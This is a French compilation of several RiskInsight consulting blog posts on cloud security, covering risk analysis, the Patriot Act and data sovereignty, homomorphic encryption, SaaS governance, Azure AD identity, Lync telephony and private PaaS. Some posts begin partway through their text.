Par ailleurs, il est possible d’utiliser un module d’authentification forte. Un téléphone est alors indispensable quel que soit le mode d’authentification choisi : One-Time Password par SMS, OTP par appel téléphonique ou encore notifications sur smartphone. Notons que ces fonctionnalités reposent sur la solution de l’éditeur PhoneFactor, racheté par Microsoft en octobre 2012.

Rappelons que Windows Azure Active Directory reste une solution d’IAM pour le cloud parmi d’autres. Dans un marché où des mouvements sont à prévoir dans les mois qui viennent, on peut se demander quels sont les véritables bénéfices de ces solutions, et ce qui les distingue les unes des autres. Des questions qui seront abordées dans un prochain article…

Cet article Identité dans le cloud : le marché se structure, quid de l’approche de Microsoft ? est apparu en premier sur RiskInsight.

Des craintes à relativiser …

Disponibilité du Cloud

Chaque incident touchant l’un des grands acteurs du Cloud fait la « Une » de l’actualité, mettant sur le devant de la scène la question de sa disponibilité.

Il s’agit pourtant d’un faux problème : les taux de disponibilité des services Cloud sont souvent  supérieurs à ceux des systèmes internes des entreprises. La situation, d’un point de vue médiatique, est comparable à celle des accidents aériens : bien que rares, ils choquent l’opinion et intéressent les journalistes beaucoup plus que les accidents de voiture, qui font pourtant annuellement plus de victimes. La disponibilité n’est donc pas un risque inhérent au Cloud. Il reste néanmoins une spécificité à laquelle il faut prêter attention : la connectivité avec le fournisseur Cloud. Si celui-ci utilise internet comme unique moyen d’accès à ses datacenters, le risque d’indisponibilité de cet accès et d’internet en tant que tel doit être pris en compte.

 Confidentialité des données

Mes données sont-elles isolées de celles des autres clients ? Les administrateurs peuvent-ils y accéder ? Il est important de remettre ces craintes en perspective. D’une part, toutes les données de l’entreprise ne sont pas critiques en termes de confidentialité. D’autre part, si ces questions se justifient dans certains cas, elles ne sont pas nouvelles et ont trouvé leurs réponses il y a déjà plusieurs années, à l’heure des premiers contrats d’externalisation IT ou de l’emploi d’administrateurs prestataires. Les principales différences résident dans l’éloignement potentiel et le degré de contrôle possible du fournisseur.

La confidentialité des données vis-à-vis des Etats reste un sujet plus complexe à adresser. Ces derniers disposent en effet de textes leur permettant d’accéder aux données présentes dans les systèmes hébergés sur leur sol. Les USA font souvent figure d’épouvantail, leurs textes ayant en plus une portée extraterritoriale (Patriot Act, FISAA). Ces textes permettent à la justice et aux forces de l’ordre américaines d’accéder aux données manipulées par des sociétés de droit américain quel que soit le client et la localisation des données. Le risque est donc que des Etats aient accès aux données dans un objectif d’espionnage économique. Ce risque est réel comme l’illustrent les révélations sur les moyens dont dispose la NSA. Mais là encore, la portée du risque est à mesurer. Seules quelques données ont un niveau de sensibilité élevé : étatiques (administrations, défense, etc.), stratégiques pour l’entreprise dans un environnement à forts enjeux concurrentiels, géopolitiques, etc.

 Conformité réglementaire

La conformité réglementaire (PCI-DSS, LIL…) des offres Cloud, notamment en matière de protection des données à caractère personnel est également un sujet d’inquiétude. La situation reste très variable en fonction des acteurs, même si des réponses techniques (localisation des données, chiffrement…) ou juridiques (Safe Harbour, contrat type de la commission européenne…) existent aujourd’hui chez la plupart d’entre eux.

… car la sécurité est au cœur de la préoccupation des fournisseurs

Très visibles et régulièrement attaqués, les fournisseurs majeurs de Cloud mettent souvent en place des équipes dédiées pour assurer la sécurité de leurs services. La sécurité est même devenue pour certains d’entre eux l’un  des principaux arguments de vente.

Attention cependant : tous n’assurent pas le même niveau de sécurité. Il reste donc important de préciser avec le fournisseur les mesures incluses dès la signature du contrat, d’autant qu’il est difficile de faire évoluer les mécanismes de sécurité d’un fournisseur quand ceux-ci ne sont pas prévus initialement. Certains fournisseurs de solutions « SaaS métier » de taille petite et intermédiaire négligent parfois la sécurité : les audits et tests d’intrusion ont pour ce type d’offres une importance accrue.

Vers une coresponsabilité fournisseur / entreprise

Analyse de risque : passer de l’intention à l’action

Suivre une démarche d’analyse de risque est impératif pour lever les freins relatifs à l’adoption du Cloud. La finalité de l’analyse n’est pas d’interdire le Cloud par défaut mais plutôt d’identifier les données sensibles afin d’accompagner les projets de la manière la plus sûre et la plus pertinente. L’implication des responsables sécurité dès le démarrage des projets est donc essentielle. Ils doivent identifier les risques que l’on peut réduire par des moyens techniques et organisationnels, et ceux résiduels impossibles à couvrir. Aux Métiers et à la Direction de décider ensuite si ceux-ci sont acceptables ou non pour l’entreprise. Et de revoir si besoin le périmètre de la démarche Cloud.

Des contrôles à ne pas négliger…

Durant le projet ou en amont lors de la phase de choix des fournisseurs, il est recommandé de poser des questions précises sur les mesures de sécurité pour ne pas laisser place à des réponses ambiguës. Par exemple, beaucoup de fournisseurs mettent en avant leurs certifications.

Il convient de vérifier le type de certification et le périmètre concerné. Un certain nombre d’acteurs du Cloud acceptent d’ailleurs de fournir des détails sur l’architecture de leur solution, après signature d’un accord de non-divulgation. La capacité à répondre rapidement et de manière détaillée aux questions permet de se forger un avis sur la maturité de l’offre proposée.

En outre, la possibilité d’auditer le prestataire Cloud est un bonus à ne pas négliger. Accepter un audit est une preuve de transparence du fournisseur et de confiance en son niveau de sécurité. Même si les plus grands acteurs anglo-saxons s’y refusent, il est toujours utile de poser la question, notamment pour des acteurs de taille intermédiaire.

Des référentiels émergents

Un outillage commence à voir le jour pour aider les entreprises à évaluer les risques et le niveau de sécurité inhérent. En France, l’ANSSI (Agence Nationale de la Sécurité des Systèmes d’Information) a publié un guide pour accompagner les démarches de type Cloud computing. Au niveau européen, l’ENISA (European Network and Information Security Agency) fournit une analyse générique mais complète des risques liés au Cloud. Enfin, outre- Atlantique, l’association Cloud Security Alliance, qui regroupe les acteurs majeurs, a mis au point la Cloud Controls Matrix. Cette matrice permet de comparer de nombreux fournisseurs sur des critères de sécurité précis. Bien que fondée sur les seules déclarations desdits fournisseurs, elle peut s’avérer utile pour comparer les offres.

Le chiffrement : graal de la sécurité Cloud ?

Parmi les solutions techniques permettant de réduire les risques du Cloud, le chiffrement se positionne en tête. Et si aujourd’hui son utilisation nécessite souvent de donner les clés de déchiffrement au fournisseur, des innovations technologiques se profilent. Elles permettront de transférer et de traiter des données à distance sans jamais donner au fournisseur d’accès direct. Bien qu’encore expérimentales, ces techniques, rassemblées sous la bannière du chiffrement homomorphique, méritent qu’on les suive avec attention.

Ne pas mettre ses responsabilités dans les nuages

Contrairement à ce que trop d’entreprises pensent, leur responsabilité ne s’arrête pas une fois la solution Cloud mise en production. Si le fournisseur est tenu de respecter un certain nombre

de règles de sécurité, le maintien du niveau de protection dans le temps relève aussi de la  responsabilité de l’entreprise. Pour cela, les bonnes pratiques appliquées au SI d’entreprise doivent être transposées au Cloud : gouvernance de la sécurité (processus, sensibilisation des utilisateurs), administration fonctionnelle de la sécurité, configuration des options de sécurité avancées, restriction des droits requis par les utilisateurs, formation des administrateurs, revue régulière des paramètres de configuration… Ceci est particulièrement vrai pour la gestion des identités et des accès, élément clé pour garantir la confidentialité des données dans le Cloud.

Cet article Sécurité et Cloud, un mariage de raison est apparu en premier sur RiskInsight.

La téléphonie Lync, un démarrage difficile

Microsoft Office Communicator, lancé en 2007 et permettant des échanges en temps réel entre collaborateurs (IM, appels audio/vidéo, présence), devient Lync en 2010 (contraction de “Link” et “Sync”). Ce nouveau produit offre à Microsoft l’opportunité de faire son entrée dans le monde convoité de la téléphonie et des communications unifiées. En se basant sur son historique et son expertise reconnus sur les solutions logicielles collaboratives, Microsoft anticipe une adoption rapide de cette nouvelle brique téléphonie. Cependant, de 2010 à 2012, Lync a du mal à convaincre les Grands Comptes qui ne se sentent pas prêts à jouer les pilotes sur une fonctionnalité aussi critique que la téléphonie, avec un produit sur lequel les intégrateurs n’ont pas vraiment d’expérience.

Moins d’un an après les premiers déploiements à grande échelle, la question la plus fréquemment posée est encore “quels avantages aurais-je à utiliser la téléphonie Lync ?“. Une question qui mérite d’être posée au vu de l’intérêt croissant des entreprises pour les outils collaboratifs – et de fait toute solution les englobant.

Des fonctionnalités distinctes selon le type de licence

Lync a été pensé pour différents usages, traduits par différents niveaux de licences cumulatives. La licence Standard supportant les fonctions “basiques” – IM, présence, appels audio/vidéo poste à poste, interconnexion Skype -, il faudra investir dans la licence Enterprise afin d’avoir accès à l’organisation de réunions, de conférences audio, vidéo ou web. Enfin une souscription supplémentaire à la licence Plus donnera accès aux fonctions de téléphonie telles que les appels vers/depuis l’extérieur de l’entreprise, les renvois d’appel, les groupes de réponse, la délégation patron/secrétaire ou encore les appels d’urgence.

La licence Plus permet réellement d’utiliser le poste de travail comme élément central de la téléphonie, en s’appuyant sur différents périphériques. Il est envisageable d’utiliser les haut-parleurs et le micro de l’ordinateur, ce qui n’engage aucun frais de matériel supplémentaire (sauf pour certains PC/Mac fixes) mais nécessite en revanche des composants de bonne qualité et un environnement sonore extrêmement calme. Le casque audio USB ou sans-fil est souvent le meilleur investissement, permettant une qualité sonore appréciable dans la plupart des cas. Un téléphone physique relié en USB, sans aucune intelligence embarquée, peut être également mis en place. Dans ces deux derniers cas, l’extinction du PC entraîne bien entendu la désactivation du périphérique audio.

Semblables aux solutions classiques de ToIP, des téléphones IP stand-alone peuvent aussi être utilisés, une fois reliés au même compte Lync que celui auquel est connecté le client PC/Mac. Il est alors toujours possible de recevoir et émettre des appels, même avec un PC éteint. Pour les usages en salle de réunion, les Meeting-Phones (ou “Pieuvres audioconférence”) seront préférées, tandis que les solutions naissantes DECT et téléphones Wi-Fi seront destinées aux usines et aux gardiens, embarquant des fonctions avancées telles que la détection d’homme à terre.

La version mobile, Lync Mobile 2013 permet de retrouver la plupart des fonctionnalités offertes par le client (IM, appels audio/vidéo sur IP, partage de présentation PowerPoint réunions en ligne…) sur smartphone ou tablette iOS, Android ou Windows Phone à travers les applications dédiées. À noter que cette version 2013 permet de réels appels Lync (qui rejoignent le réseau de l’entreprise à travers le serveur Edge et le Reverse Proxy) via Wi-Fi ou 3G/4G.

Du point de vue de l’architecture et du sourcing ?

Au niveau architecture globale, Lync ne diffère pas réellement des solutions que peuvent proposer les autres constructeurs de téléphonie, si ce n’est que l’ensemble des services peut être concentré sur un seul serveur (“Front End”), là où d’autres solutions pourraient nécessiter un serveur par application.

Microsoft a également profité de la montée de version majeure de Lync (2010 à 2013) pour faire ses premiers pas dans le Cloud en proposant non plus un seul modèle d’architecture physique (“Server” ou “On Premise“) mais également une version “Online“, avec la possibilité de mettre en place une architecture “hybride” mixant les deux solutions.

Si la plupart des fonctions de base sont supportées dans les trois versions, seule la version Server permet l’activation de la téléphonie. A l’instar de ses concurrents, Lync permet une connexion au Réseau Téléphonique Commuté (RTC) centralisée ou en local via des passerelles. Sur les sites où la téléphonie a un impact direct sur les métiers (centres d’appels notamment), il est possible d’installer en sus de la passerelle un serveur Lync Standard Edition (SE) ou une Survivable Branch Appliance (SBA) pour conserver l’ensemble de fonctions de téléphonie avancées en cas de perte du WAN (groupes de réponses, conférences,…).

À noter que Microsoft n’est pas fournisseur de ces passerelles, contrairement à Cisco qui fabrique ses propres “Cisco Integrated Services Routers”. L’entreprise de Redmond oriente alors ses clients vers des fournisseurs homologués tels que AudioCodes ou encore Sonus (ex-NET). Il est également important de savoir que l’offre Lync Online (à travers la solution Office 365) ne supporte pas la téléphonie.

Cet article De l’outil collaboratif à la téléphonie, Lync peut-il trouver sa place en entreprise ? est apparu en premier sur RiskInsight.

Le contexte ambiant laisse du reste peu de place à l’anticipation… Les DSI doivent assurer les transformations du SI dans des délais toujours plus courts. Un nouveau marché peut être gagné, un nouveau besoin métier émerger sans que la DSI n’ait beaucoup de temps pour étudier les impacts sur le SI existant et mettre en œuvre la solution adéquate. Comment par exemple absorber en quelques mois une augmentation de 100% du volume de données traitées et faire face à des problématiques de scalabilité horizontale et verticale ? En voici quelques clés.

Gagner du temps en conjugant  les solutions techniques du marché

Le Cloud public est séduisant sur le papier, la scalabilité étant assurée par l’hébergeur du service. Cette solution est du reste à privilégier pour des services ayant peu de dépendances avec d’autres applications du SI (application RH, gestion de trésorerie…). La migration de la totalité d’un SI vers ce type d’offres, sans déjà posséder un Cloud hybride, s’avère en effet très difficile dans des délais serrés.

Les solutions intégrées, de leur côté, incluant à la fois le matériel et le logiciel, sont pertinentes lorsque le parc applicatif (serveur d’applications ou bases de données) est homogène et que le besoin de montée en capacité concerne plusieurs applications. L’investissement est bien sûr conséquent et le choix structurant pour le SI, mais le gain de temps n’est pas négligeable lors de la mise en œuvre. De plus, ces solutions comportent des mécanismes permettant d’activer de la puissance supplémentaire à la demande, ce qui laisse plus de souplesse pour effectuer le dimensionnement initial des infrastructures.

La virtualisation est pour finir une solution plus adaptée en présence d’un parc applicatif hétérogène et fractionné. Les mécanismes fournis par les éditeurs, notamment la copie de machine virtuelle, sont des accélérateurs pour la création des différents environnements d’une même application. La montée en charge des systèmes est quant à elle facilitée grâce au mécanisme permettant d’ajouter de la mémoire et des processeurs virtuels en quelques clics. Le rajout d’un nouveau nœud dans un cluster existant reste également une opération simple et maîtrisée par les exploitants. La virtualisation est en un mot de loin la solution privilégiée par les clients devant faire évoluer un existant.

Anticiper et sécuriser la transformation grâce au capacity management

La souplesse et les gains de temps offerts par les solutions présentées précédemment ne doivent pas faire oublier l’importance d’évaluer les besoins en capacité et performance.

Les services sollicitant fortement les processeurs ou la mémoire (bases de données à forte volumétrie, batchs, calculs scientifiques…) ne sont pas les candidats idéaux pour la virtualisation. Il faudra donc dimensionner les futurs serveurs physiques exécutant ces applications avec minutie.

Concernant les chantiers de refonte du SAN et du cœur LAN, notre marge de manœuvre est également réduite, ces éléments centraux étant difficilement évolutifs sans impacter la production. Le capacity management s’avère dans ce cas indispensable pour déterminer si ces équipements doivent être remplacés pour supporter la montée en charge du SI.

In fine, face à des délais serrés, la capacité à s’appuyer et à conjuguer les solutions technologiques du marché  et la connaissance de son parc matériel au travers du capacity management sont les leviers clés pour augmenter sereinement la capacité du SI.

Pour autant, il est essentiel de garder en tête que nul chantier ne peut être mené à bien sans l’implication et la fédération des acteurs aussi bien IT que Métiers qui doivent travailler ensemble à la réussite de ce projet. Pour relever le défi c’est bien ce triptyque gagnant qu’il faut mettre en œuvre.

Cet article Doubler les capacités du SI en 6 mois : prêts à relever le défi ? est apparu en premier sur RiskInsight.

Pour autant, même une fois cette démarche menée à bout, plusieurs doutes persistent.

Si l’actualité récente a fait éclater l’affaire PRISM , la réalité des accès aux données est pourtant connue depuis de nombreuses années.

 Les risques d’accès aux données sont réels, depuis longtemps

Les quelques années de recul et d’expérience sur le Cloud montrent que les craintes quant à l’accès aux données hébergées à l’étranger sont justifiées.

L’exemple le plus souvent cité est celui du USA PATRIOT Act : sur requête du gouvernement américain et après contrôle par un juge, toute entreprise américaine, ou située sur le sol américain, ainsi que tout citoyen américain (où qu’il soit), se doivent de fournir aux autorités un accès aux données auxquelles ils ont accès. Dans le cas d’une entreprise de droit américain, l’obligation s’étend en dehors du territoire national : si ses infrastructures sont situées en Union Européenne, la loi s’applique.

Le Syntec Numérique a publié un éclairage intéressant sur le sujet en avril 2013. On y précise notamment  qu’un contrôle par un juge peut être réalisé avant la divulgation des données… Ou après, donc trop tard pour l’empêcher.

Cette loi pose donc  en théorie le problème de la confidentialité des données. Dans la réalité, ces craintes se justifient principalement si les données manipulées ont un niveau de sensibilité très élevé : étatiques (administrations, défense, etc.), stratégiques pour l’entreprise dans un environnement à forts enjeux concurrentiels, géopolitiques, etc.

Pour autant, et c’est un aspect moins connu, la majorité des gouvernements mondiaux disposent de prérogatives équivalentes. Le grand cabinet d’avocats Hogan Lovells a publié une étude à ce sujet en 2012, incluant notamment un comparatif des législations de 10 grands pays sur l’accès aux données Cloud : beaucoup (dont la France) disposent de prérogatives similaires, parfois plus larges et moins contrôlées.
Pourquoi alors se focalise-t-on généralement sur le USA Patriot Act ? Principalement car les acteurs majeurs du Cloud sont aujourd’hui américains,  donc soumis à la législation américaine.

Cependant, ne considérer que l’aspect strictement légal est encore trop réducteur : l’entreprise doit également se demander si le pays sur le sol duquel ses  données critiques sont hébergées a des intérêts allant dans le même sens que les siens.

Dans tous les cas, les conseils de juristes spécialisés sont indispensables pour avoir une position précise et adaptée.

 Les fournisseurs français de Cloud computing, solution du problème ?

Sur le papier, stocker ou traiter ses données chez un prestataire de droit français sur le sol français semble la solution idéale…  en théorie seulement.

En effet, de nombreuses fournisseurs français ont des centres de traitement et de stockage dans le monde entier… Même si vos données n’y sont ni stockées ni traitées, ceux-ci pourraient être connectés aux centres situés sur le sol français (et donc permettre d’y donner accès à distance).

Au-delà des données, se pose la question des équipes décentralisées : un Cloud hébergé en France, mais dont les équipes d’administration sont situées aux quatre coins du monde (par exemple pour fournir un support 24/7) doit également faire l’objet d’attentions.

Une fois encore, tous ces risques sont à relativiser : ils ne concernent que les données réellement sensibles.

Entre protections juridiques et solutions techniques, la bonne parade reste encore à trouver

Un moyen de se protéger des divulgations indésirables pourrait consister en l’ajout de clauses contractuelles interdisant à son fournisseur de le faire. Malheureusement, ce dernier risque de ne tenir aucun compte desdites clauses lorsqu’une demande officielle de son gouvernement lui parviendra. Pire, dans le cas des lois américaines, il peut lui être interdit d’avertir le propriétaire des données que celles-ci ont été transmises (il s’agit du principe de gag order).

Dans certains cas, il est possible de prendre certaines précautions très spécifiques. Nous conseillons parfois à nos clients de demander l’isolation de leurs données  dans le datacenter du fournisseur, dans une salle sous alarme dont seule l’entreprise détient la clé. Là encore, cela n’empêchera pas un accès aux données, mais permettra au moins à l’entreprise d’en avoir connaissance.

Une véritable solution pourrait provenir de la technologie : un chiffrement adéquat des données permettrait de s’assurer que même en cas d’accès aux données, celles-ci sont correctement protégées. Cela nécessite des technologies de chiffrement de confiance (par exemple en France, qualifiées par l’ANSSI), afin que les données soient sécurisées sur tout leur parcours : pendant leur transmission sur le réseau, au moment de leur utilisation, et lorsqu’elles sont stockées dans le Cloud.

À ce titre, le chiffrement dit « homomorphique » constitue une perspective d’avenir intéressante…

Cet article Cloud et sécurité : mythes et réalité (partie 2) est apparu en premier sur RiskInsight.

En particulier, la question de la protection des données transmises, traitées et sauvegardées apparaît comme cruciale. Ces points préoccupent aujourd’hui les experts techniques, les managers d’information, et parfois même les directions des entreprises.

Le Cloud est-il sûr ? Que risque-t-on en l’adoptant ? Comment y assurer la sécurité de ses données ?

Un service moins cher n’est pas forcément moins sécurisé

Il faut voir les risques liés au Cloud comme proches de ceux existants sur l’externalisation et la virtualisation avec en particulier la perte de contrôle de ses données et les risques liés aux technologies utilisées (virtualisation des systèmes et des réseaux, automatisation d’un certain nombre de tâches, etc.).

Pourtant, de manière générale, nous constatons en France que le niveau moyen de sécurité des services Cloud est au-dessus du niveau moyen de sécurité des entreprises. Plusieurs facteurs expliquent cela.

Le fait de fournir un service informatique à l’état de l’art (et donc sécurisé) est le métier des acteurs du Cloud. Chez la plupart d’entre eux, la mise en place et le respect des procédures de sécurité fait l’objet d’une attention particulière. Par ailleurs, ils proposent un service industrialisé à de nombreux clients : les bonnes pratiques exigées par l’un peuvent souvent être appliquées à tous.

Ces fournisseurs sont, enfin, plus exposés que la moyenne des entreprises, et ont de vrais enjeux en termes d’image : la découverte de faiblesses de sécurité amène en général à une correction rapide.

Inversement, si un mécanisme de sécurité n’est pas offert par un fournisseur (de base ou en option), il sera malheureusement difficile de l’obtenir : en sécurité comme pour les autres fonctionnalités, les offres Cloud manquent souvent de souplesse.

Attention cependant, contrairement à une idée répandue, toutes les offres Cloud ne se valent pas : de véritables différences peuvent exister d’un fournisseur à un autre.

Des outils dédiés existent pour évaluer ses risques de sécurité

D’un point de vue sécurité, la démarche est celle – classique – de l’analyse de risque. Le but est ici d’accompagner les projets de mise en œuvre ou de migration vers le Cloud, et pas de les interdire.

Dans le cas du Cloud, un outillage spécifique commence à apparaître pour réaliser cette analyse. En France, l’ANSSI (Agence Nationale de  la Sécurité des Systèmes d’Information) a publié  un guide¹ pour accompagner les démarches de type Cloud computing. Au niveau européen, l’ENISA (European Network and Information Security Agency) fournit une analyse² générique mais complète des risques liés au Cloud.

Outre-Atlantique, l’association Cloud Security Alliance regroupant les acteurs majeurs du Cloud a mis au point son outil Cloud Controls Matrix³, qui permet de comparer de nombreux fournisseurs sur des critères de sécurité très précis. Si elle est basée sur les seules déclarations desdits fournisseurs, cette matrice peut néanmoins s’avérer utile.

Les comparaisons théoriques  ne suffisent pas

Il est parfois difficile de distinguer ce qui est présenté de ce qui est fait en réalité en termes de sécurité. Plusieurs critères permettent d’évaluer les fournisseurs.

Ils peuvent tout d’abord se prévaloir de différentes certifications : ISO 27001 (très adoptée et quasiment obligatoire aujourd’hui) et ISAE 3402/SAE 16 (très adoptées également, requises pour les groupes cotés aux États-Unis, dans la ligne de SOX). Des démarches spécifiques existent aussi dans certains domaines, comme pour les données de santé en France, ou PCI-DSS pour les données de cartes bancaires.

Pour autant, ces certifications ne sont pas toujours une assurance d’un niveau de sécurité adapté. Lors de la phase de choix des fournisseurs ou durant le projet, il apparaît nécessaire de poser des questions très précises, sans laisser de place à des réponses trop larges ou ambiguës.

Un certain nombre d’acteurs du Cloud accepteront d’ailleurs de fournir des détails sur le fonctionnement de leur solution, après signature d’un accord de non-divulgation. Des visites de datacenters sont aussi toujours très instructives, et permettent parfois de se forger un avis sur la maturité du niveau de sécurité de l’offre proposée.

Certains fournisseurs sont réticents à fournir des informations très précises préalablement à la signature du contrat, ils peuvent alors proposer l’ajout d’une clause permettant de dénoncer le contrat ultérieurement. Mais attention à ce mécanisme, une fois la mise en œuvre démarrée, faire marche arrière est presque impossible…

Enfin, la possibilité de contrôler le prestataire Cloud est un critère intéressant. Sa capacité à accepter un audit diligenté par ses clients est en effet une preuve de transparence, voire de confiance en son propre niveau de sécurité.

¹ : ANSSI – Externalisation, Cloud Computing : maîtriser les risques pour les systèmes d’information (http://www.ssi.gouv.fr/externalisation/)  

² : ENISA  – Cloud Computing Security Risk Assessment (http://www.enisa.europa.eu/activities/risk-management/)

³ : Cloud Security Alliance – Cloud Controls Matrix (https://cloudsecurityalliance.org/research/ccm/)

Cet article Cloud et sécurité : mythes et réalités (partie 1) est apparu en premier sur RiskInsight.

Le chiffrement « classique » : une réponse partielle aux inquiétudes

Dans ce cadre, l’envie de conserver une mainmise sur les données de l’entreprise émerge rapidement, et les technologies de chiffrement font leur retour sur le devant de la scène. L’idée serait de traiter au niveau du cloud des données chiffrées afin de limiter les risques d’écoute. Ceci est possible par exemple pour un service de stockage en ligne. Les données sont chiffrées dans l’entreprise puis envoyées sur le serveur, lors de l’accès elles sont déchiffrées localement par l’utilisateur. Cependant se pose rapidement la question de la capacité à traiter les données, en effet les attentes métiers vis-à-vis du cloud vont bien au-delà d’un simple espace de stockage !

Il est alors possible d’envisager un chiffrement uniquement au moment du stockage chez le fournisseur. Lors d’un traitement interne au service cloud (recherche de données, édition de bulletin de paye, calcul scientifique…) le fournisseur pourrait déchiffrer les données, réaliser le traitement puis chiffrer à nouveau. Cette méthode fonctionne techniquement mais elle ne répond pas aux multiples interrogations. En effet, pour que ce mécanisme fonctionne, le fournisseur doit disposer des clés de chiffrement. Mais qui nous assure alors qu’elles ne sont pas utilisées à mauvais escient ? Et ceci aussi bien par des employés du fournisseur, que des tiers (autorités ou pirates par exemple) qui auraient accès aux systèmes de gestion de clés.

Une solution à suivre : le chiffrement homomorphique

Depuis des années, une solution à ce problème mûrit dans la tête des chercheurs : le chiffrement homomorphique. Derrière ce terme complexe se cache une idée simple : pouvoir réaliser des traitements directement sur des données chiffrées, sans avoir besoin de les déchiffrer ! Depuis 2009, de nombreuses avancées ont été réalisées dans ce domaine en particulier au MIT. Récemment, une équipe d’IBM a même mis à disposition une implémentation concrète (code source à l’appui) de cette méthode. Aujourd’hui, il existe encore un grand nombre de limitations, en particulier par rapport à la vitesse de traitement ou les opérations réalisables. Il faudra également que cette méthode et son implémentation soient analysées par des experts en chiffrement pour en garantir la robustesse.  D’autre part, il faudra toujours que l’entreprise fasse l’effort de gérer correctement ses clés de chiffrement. Le quotidien nous montre qu’aujourd’hui c’est encore rarement le cas !

Une avancée à suivre de près !

Le chiffrement homomorphique représente une avancée importante dans l’industrialisation de l’informatique. Les annonces récentes ont été largement saluées dans les différentes communautés sécurité. Sa mise en œuvre pourrait lever les nombreux freins qui existent encore aujourd’hui par rapport à la localisation des données ou encore aux fournisseurs. Même s’il faudra encore attendre quelques années avant une possible démocratisation, il s’agit clairement d’un sujet à garder dans le radar de la veille !

Cet article Chiffrement : la clé d’un cloud computing sécurisé ? est apparu en premier sur RiskInsight.

La sécurité, une question négligée après la phase de contractualisation

Les limites posées par le SaaS sont aujourd’hui bien connues : difficultés d’adaptation du service aux besoins de l’entreprise, absence de possibilités d’audit, questions réglementaires, etc.

Pourtant, de plus en plus de services cloud sont adoptés, sans que la sécurité ne soit nécessairement un frein. Pour cela, une démarche classique d’analyse de risque est menée en évaluant les contraintes légales / réglementaires,  les mécanismes de protection des données, la gestion de la sécurité par le fournisseur, ou encore les conditions de réversibilité de la donnée.

Cette démarche est de plus en plus maîtrisée : de nombreux retours d’expérience et un outillage qui se professionnalise* amènent à faire des choix éclairés, en toute connaissance de cause des risques encourus, et donc parfois acceptés.

Malheureusement, la démarche sécurité s’arrête souvent là : à partir du moment où le sujet a été traité lors de la contractualisation, on considère qu’un bon niveau est assuré, puisque l’on a exigé du prestataire de s’en occuper !

Le maintien de la sécurité dans le temps est un enjeu régulièrement oublié, alors même qu’il est en partie du ressort de l’entreprise, et pas seulement à la charge du fournisseur.

Des sujets à inscrire dans la durée

Pour s’assurer que la solution cloud est déployée avec le bon niveau de sécurité, et maintenir celui-ci dans le temps, quatre grands thèmes sont à aborder en priorité. S’il s’agit de bonnes pratiques habituelles sur un SI d’entreprise, il faut aujourd’hui les adapter, voire les renforcer pour le SaaS.

•  La gouvernance : les services SaaS doivent être intégrés aux procédures de sécurité et des processus liés au service fourni. Il peut par ailleurs être utile de mener des actions de sensibilisation dans certaines situations.

• L’administration fonctionnelle du service est bien du ressort de l’entreprise : le fournisseur n’est pas en mesure de faire les choix fonctionnels à votre place (et ce n’est souvent pas ce qu’on lui demande) ! Pour l’aspect sécurité plus encore, c’est à l’entreprise de définir  et mettre en œuvre les fonctionnalités avancées disponibles, de restreindre les services au minimum requis par l’utilisateur, de former ses administrateurs… Ces aspects sont souvent les plus négligés, comme nous le constatons lors des audits que nous réalisons.
• Des contrôles réguliers peuvent et doivent aussi être mis en œuvre sur les parties auditables des services. Il s’agit en particulier de vérifier que les paramètres de sécurité sont inchangés, d’exploiter les logs sécurité, et de revoir les habilitations. S’il le permet, enfin, ne pas hésiter à auditer son fournisseur (visites de site, voire tests d’intrusion).
• Il reste enfin à traiter le sujet de l’IAM, enjeu transverse du Cloud, souvent peu ou mal maîtrisé de par sa complexité. Même si cette voie est souvent suivie, il faut pourtant éviter de recréer un compte dans le Cloud pour chaque utilisateur. Pour « synchroniser » les identités de l’entreprise dans le Cloud, il faut également éviter la multiplication des connecteurs  (et notamment ne pas en redévelopper un par fournisseur), sous peine de créer une situation ingérable. Deux approches sont aujourd’hui à prioriser : soit l’utilisation d’un outil de fédération d’identités interne (qui réalise la connexion avec la majorité des fournisseurs de SaaS), soit l’externalisation de l’IAM… dans le Cloud (!) en « Identity as a Service »

Le RSSI, garant de la cohérence des projets

Dans le cas du SaaS, le rôle des responsables sécurité de l’information est double.

D’une part, il s’agit d’accompagner les projets, en leur apportant des solutions transverses : un certain nombre de points peuvent être mutualisés en amont. C’est tout particulièrement le cas des sujets tels que l’IAM, qui doivent faire l’objet d’une approche unifiée et cohérente –  et surtout pas projet par projet.  C’est également le cas des questions légales qui doivent faire l’objet d’une réflexion globale amont.

D’autre part, la SSI demeure la garante du niveau de sécurité dans le temps : la Gestion Opérationnelle de la sécurité devra faire l’effort de partir à la conquête des nuages !

* On peut citer notamment le guide publié par l’ANSSI et la « Cloud Control Matrix » maintenue par la Cloud Security Alliance

Cet article SaaS et sécurité : entreprises, ne mettez pas vos responsabilités dans les nuages ! est apparu en premier sur RiskInsight.

D’après Fabrizzio Biscotti, Directeur de recherche chez Gartner « Le PaaS est l’endroit où la bataille entre les fournisseurs et les produits s’intensifie le plus ». Le marché du PaaS privé n’est pas exclu de cette bataille. Il fait face à une concurrence de plus en plus rude et une  évolution de plus en plus vite.

Pour mieux comprendre cette évolution, voyons quelle est la proposition des offreurs dans ce marché.

Un positionnement en surcouche des modèles traditionnels

Traditionnellement, un modèle PaaS offre un environnement complet de développement et d’exécution. Du côté du PaaS privé, les acteurs se positionnent sur le marché des « Fabric PaaS ». Il s’agit d’un outil de provisionnement d’environnements, constitués de composants logiciels et applicatifs packagés au préalable. Cet outil s’appuie ensuite sur les infrastructures existantes de l’entreprise, qu’elles soient physiques, virtuelles ou déjà dans le cloud. Les acteurs de ce marché sont très dynamiques, avec une offre qui évolue rapidement. On y retrouve aujourd’hui les acteurs de l’édition logicielle traditionnelle avec Tibco Silver et VMware vFabric, des acteurs de niche comme ActiveState Stackato et une offre open source avec Cloud Foundry, souche de plusieurs solutions commerciales.

Agilité, Scalabilité et Consolidation comme crédos

Les fonctionnalités de packaging intégrées à ces solutions permettent de définir des environnements « clés en main ». Ces environnements contiennent  un ensemble de composants applicatifs, conçus à partir d’une palette d’exécutables tels que Jboss, Websphere, Tomcat, Tibco… ainsi que d’autres logiciels non standards. Les déploiements sont ainsi standardisés, dans une optique d’optimisation des temps de création des environnements.

Ces outils gèrent également les performances des applications déployées. Ils adaptent ainsi la capacité mise à disposition aux pics et baisses de charge en rajoutant ou supprimant des ressources sur la base d’un jeu de règles prédéfini. Ils offrent également la possibilité de s’étendre vers un cloud public.

Le troisième apport est l’optimisation de l’usage des ressources. Les mêmes ressources pouvant être affectées à des applications de natures différentes, évitant ainsi les modes de fonctionnement en silo.

Une mise à disposition en 3 étapes

La mise à disposition des environnements passe généralement par trois étapes clés :

• Le packaging qui permet de concevoir la stack* applicative de l’environnement en définissant les différents composants logiciels nécessaires à l’exécution ;

